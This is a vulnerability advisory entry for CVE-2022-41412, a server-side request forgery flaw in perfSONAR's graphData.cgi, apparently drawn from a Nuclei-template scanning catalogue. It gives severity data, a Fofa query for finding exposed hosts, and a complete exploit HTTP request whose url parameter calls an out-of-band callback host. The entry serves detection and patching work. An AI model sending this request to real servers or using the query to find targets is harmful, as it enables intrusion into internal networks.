| Title | perfSONAR 4.x <= 4.4.4 - Server-Side Request Forgery |
|---|---|
| Author | null_hypothesis |
| Severity | High |
| Impact | Unauthenticated attackers can exploit SSRF vulnerabilities in the graphData.cgi component to access internal resources, bypass firewall restrictions, and potentially access sensitive performance measurement data from internal network monitoring systems. |
| Remediation | Upgrade to perfSONAR version 4.4.5 or later that validates and restricts URL parameters in the graphData.cgi component. |
| CVSS Score | 8.6 |
| EPSS Score | 0.86865 |
| CVE ID | CVE-2022-41412 |
| CWE ID | CWE-918 |
| Fofa Query | title="perfSONAR Toolkit"title="perfsonar toolkit" |
| Tags | cve cve2022 ssrf hackerone packetstorm perfsonar vkev vuln |
An issue in the graphData.cgi component of perfSONAR v4.4.5 and prior allows attackers to access sensitive data and execute Server-Side Request Forgery (SSRF) attacks.
GET /perfsonar-graphs/cgi-bin/graphData.cgi?action=ma_data&url=http://oast.fun/esmond/perfsonar/archive/../../../&src=8.8.8.8&dest=8.8.4.4 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-41412.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-41412.pcap
N/AN/A